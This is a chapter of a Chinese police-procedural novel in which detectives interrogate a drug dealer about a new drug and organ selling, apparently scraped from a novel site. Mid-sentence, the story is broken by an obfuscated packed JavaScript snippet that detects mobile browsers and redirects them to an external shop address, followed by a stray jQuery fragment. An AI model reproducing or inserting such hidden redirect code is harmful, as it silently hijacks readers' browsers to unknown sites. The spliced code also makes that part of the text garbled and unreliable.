邹付阳死了,田菁本以为至少能为她争取到足够的逃跑时间。
身份被拆穿的瞬间,她没有慌乱,反倒是有种认命的坦然。
祁舟快步走上前去,盯着她的脸看了快一分钟。
不害怕、不伤心。
“你们手里的货被拿走了?”他声音压得极低,只有田菁能听见。
田菁也没想到祁舟会这么问,瞪大了双眼看过来,对祁舟的忌惮在一瞬间爆发成漫天大雨,穿透皮肤,沁入骨血。
她从没有正眼看过祁舟。
与其他人比起来,这位长相柔和,皮肤白皙的警官,不但没有威慑力,连存在感也弱得可怜。
所以她从没把祁舟当作过自己的对手,更别提忌惮。
可是这一秒,祁舟低沉的声音穿过耳膜的瞬间,她感受到刺骨的寒意。
“你……”
祁舟长呼一口气。
已经知道答案了。
目前为止,他始终慢了一步,“他们”动作太快。
田菁被抓捕归案,楚樊和孙一辉在审讯室坐了三个小时,还是没把田菁的嘴撬开。
她比邹付阳更难对付。
从头到尾一句话都不说,不管楚樊怎么问,她永远都是不怕死的样子,坐在那里看着警方干着急。
祁舟在审讯室外面看了一会儿就走开了。
他独自一人来到走廊尽头,从包里抽出一支细长的香烟,咬碎滤嘴里的爆珠,品尝回味口中的草莓香气。
“这么巧。”江霖面无表情地走到他面前,“听说你们抓到田菁了?”
祁舟吐出烟圈,却没有回答,递给他一支烟。
对方也不介意,推了推眼镜:“我抽软中华。这款烟很难买吧。”
这款烟确实不好买,祁舟不知道他这时候提起这个的目的是什么。
没有说话,他安静地吸着烟,也不看江霖。
“我知道,是你最先发现邹付阳不对劲。带回来的那个人检测结果出来了,和你的推断一样。”
祁舟并不意外,他眯着眼,终于转头打量起了这位鼎鼎大名的禁毒支队副支队长。
头发微长,额前的发丝刚好在眉毛附近,把他这张脸的凌厉削弱了几分。
下巴有些尖,也总喜欢扬起头看人。
“比起刑侦,你更像缉毒出身。”
“是吗?”祁舟淡笑,把快要燃尽的烟掐灭,扔进了垃圾桶,“但我确实是刑侦专业的,漾宁警院12界。”
“是吗?”
声音飘远了,却在祁舟的耳膜上重重敲击了一下。
江霖,比楚樊更加危险。
祁舟看着他,扬起头,目光带了几分攻击性,忽然笑了一下,才说:“江队长,我不会去禁毒支队,我和楚队有约,他还欠着我好几顿小龙虾。”
江霖也笑了起来,笑意不及眼底:“前几天……”
三个字,吊足了祁舟的胃口,祁舟停下脚步,没有转身,听着他的下文。
“我们一队接到报案,一家KTV里有人吸毒,赶过去的时候对方吸毒过量死了,你猜,他体内的毒品是什么?”
这么明显的答案,完全是送分题。
祁舟没说说话,也不打算回答。
他缓缓转过身,掀起眼帘,眼中带着一层寒霜看江霖。
又是那个笑,让人看着真不爽。
“‘灰巧’,死者是白梧村的人,接到报案的时间,刚好是我们出警去白梧村那天。”江霖走近几步,“‘灰巧’出现的时机是巧合吗?你说?”
“不管是不是巧合,这是你们禁毒支队该调查的。”
“祁舟,你怎么看出来邹付阳吸了毒?又是怎么猜出这个村子里的人吸毒了?”
连他这个老人,都不会一眼判定这些人吸了毒,祁舟的嗅觉过于敏锐。
毒品出现的时机也非常有意思。
“江队长。”楚樊的声音在祁舟身后响起。
祁舟忽然觉得很头疼。
一个就很麻烦了,又来一个。
“你们在聊什么?”
不知道楚樊是什么时候来的,但祁舟可以肯定,楚樊一定听到了大部分对话。
“没什么,就是对你们队的新人很好奇。”
祁舟伪善地笑了一下,压下想给江霖脸上一拳、打掉他刻薄嘴脸的冲动。
“你们聊,我先走了。”无心加入两人的对话,祁舟找了个借口回办公室,“我还有报告没写。”
风波并没有因为他走就散去。
不信任,怀疑的烟雾,笼罩在江霖和楚樊身边,像是随时等待着咬他们一口的毒蛇,嘶嘶地吐着信子。
“楚樊,你们队这个新人,不简单。”江霖站在楚樊身侧,视线很轻,“新毒品的事情,连我都是最近刚得到消息。”
楚樊当然知道祁舟不简单。
从祁舟来的第一天他就在暗中调查,这位看着人畜无害的新人身上的秘密到底是什么,多到两只手都数不过来,偏偏,楚樊一个也看不透。
他这里没有疑罪从无的道理。
罪名是否成立,楚樊不想这么快下判断。
他微微动了动手指,转身回了办公室。
祁舟这会正忙着听孙一辉抱怨田菁的嘴有多硬。
“你们都不知道,我第一次见到这么难审的人,好像根本没有弱点,她的嘴,比防弹背心还硬”咕嘟咕嘟灌下一大杯水,孙一辉豪迈地抹了把嘴,打了一个嗝儿,“你们说,田菁的弱点到底是什么。”
苗佳佳非常配合,吃着泡面还积极回答:“我知道,是邹付阳吧,毕竟是夫妻。”
“没用。”孙一辉满脸疲惫,“她好像根本不在意邹付阳的死活。”
“或许,不是不在意。”祁舟摸着下巴喃喃,等他注意到大家都没说话的时候,抬眼奇怪地看着众人,发现他们都在用一种看陌生人的表情看自己。
嘴唇挤压在一起,祁舟叹气。
最近真是越来越不小心了,他懊恼地想着。
大家的视线并没有挪开,等着他接下来的解答。
余光扫见门口抱着胳膊,脸色阴沉的楚樊。
祁舟淡淡道:“我们去邹付阳家时,敲门敲了很久都没开,可能是因为邹付阳在吞食胶囊,邹付阳的死是为了她,她心里很清楚这点,换句话说,她早就知道邹付阳会死,已经做了足够的心理准备。”
“怎么可能,亲近的人死了两天都不到,这么快就能免疫?”孙一辉不认可地努了努嘴,“这也太丧心病狂了。”
“她是毒贩。”祁舟说,“不能用常人的逻辑判断,如果连这么简单的事情都做不到,她早就被抓了。”
苗佳佳放下泡面桶,从柜子里抓出一个小面包放他手心里,算是贿赂:“你是怎么知道这些的?”
黑眸闪了闪。
这个问题,终究没等来答案。
他的话给审讯开了一道口,楚樊这次的审讯顺利很多。
祁舟坐在他旁边,记录着审讯内容,和刚刚的模样判若两人。
安静、眼神冷漠。
写字速度很快,下笔角度随意,纸张上的字并不规整。
没有打断楚樊的审讯,就算田菁说出多叫人惊讶的话,他也总是一脸从容不迫,好像早就料到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17719924|208593||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了田菁会说什么。
“李峥和王思南的案件你参与了多少?”
“我一直都知道,邹付阳说的是真的,你们也猜到了,我是他的上家,几年前,他想做毒品生意,通过一些渠道找到了我,后来,我们两个互相喜欢就结婚了,说是结婚,但关于毒品的事我并不信任他,每次聊到这上面,都是给他一些‘普通货’。”
“他想做‘精货’,跟我提了好几次,前段时间,我们得到‘灰巧’的消息,他想让我带他一起做,我手里没钱,我们两个就找到了器官买卖的路子,肾脏被压了价,跟预想的价格相差太多,但对方不能得罪,所以后来又动了卖眼角膜的心思。”
审讯室里针落可闻。
田菁脸色憔悴,双眼下面笼罩着一层淤青。
脚上还绑着纱布,此时被血染红了。
铁锈的味道和血腥味交织,外面的天被夕阳染成了血一样的红。
“总共赚了三十五万,全部买了货,但只拿到了一部分‘中转样品’。”
“货呢?”
田菁下意识看了眼祁舟,祁舟正低头写字,并没有搭理她,她咽了咽口水说,“不见了。”
楚樊不是没有看见她的小动作:“不见了?这么重要的东西怎么会不见?”
“我……我不知道,我们把货藏得很好,邹付阳被抓时,我发现我家门口有人守着,知道没办法逃走就一直呆在家里,早晨,我想确认下‘灰巧’,但是……已经不见了。”
“你们把毒品藏在哪里?”
“卧室衣柜后面有一个保险柜,后来,我找到机会跑了,本来想去找和我交易的人对峙,没想到出了车祸。”
“和你交易的人是谁?”
“我不知道。”楚樊看着她,她害怕地缩了缩脖子:“警官,我真的不知道,干我们这个的,谁会愿意让别人看见自己长什么样呢?我们每次交易都是他定地方,我把钱送过去,他会在三天内准备好货,通知我去一个地方取,我跑出来就联系他了,根本联系不上。”
田菁这条线想继续查下去难度非常大。货消失了,说明对方已经察觉到情况有变,哪怕想利用田菁把对方钓出来,也是天方夜谭。
把知道的事情交代得差不多后,田菁缩着脖子看了眼祁舟。
祁舟刚好在看她,黑漆漆的眼睛好像能把人身上的皮肉都剥下来。
在本就不明亮的审讯室里,祁舟用目光把她钉在了凳子上,浑身瘫软。
审讯结束,关于祁舟的审讯才刚刚开始。
不过幸好,楚樊不是让他在冷冰冰的审讯室接受讯问,换了一个相对温馨的地方——楚樊家。
只有他们两个和窗外被云层遮挡的星辰。
没有宵夜,没有小龙虾,更没有热水。
只有楚樊质问的目光和冷冰冰的家具。
“祁舟,你对‘灰巧’了解多少?”
祁舟面不改色,声音缓而轻:“和你一样。”
“你为什么这个时间点来宜宁?”
祁舟说:“因为刚好。”
“刚好?”楚樊冷哼,祁舟推皮球似的说话方式,让他的耐心在这一刻全部耗光,说话也没有了平日的理智,“邹付阳的死也是刚好?‘灰巧’的出现也是刚好?你对案件的推测也是刚好?”
祁舟站起身,脸上的神情还是没多少变化,语气倒是冷了:“楚樊,我不是你的敌人。”
“但你也不是能让我信任的人。”
不置可否。
祁舟说:“你是我亲自挑选的人。”
他转身离去,离开了灯光明亮的家,独自一人走进了漆黑之中。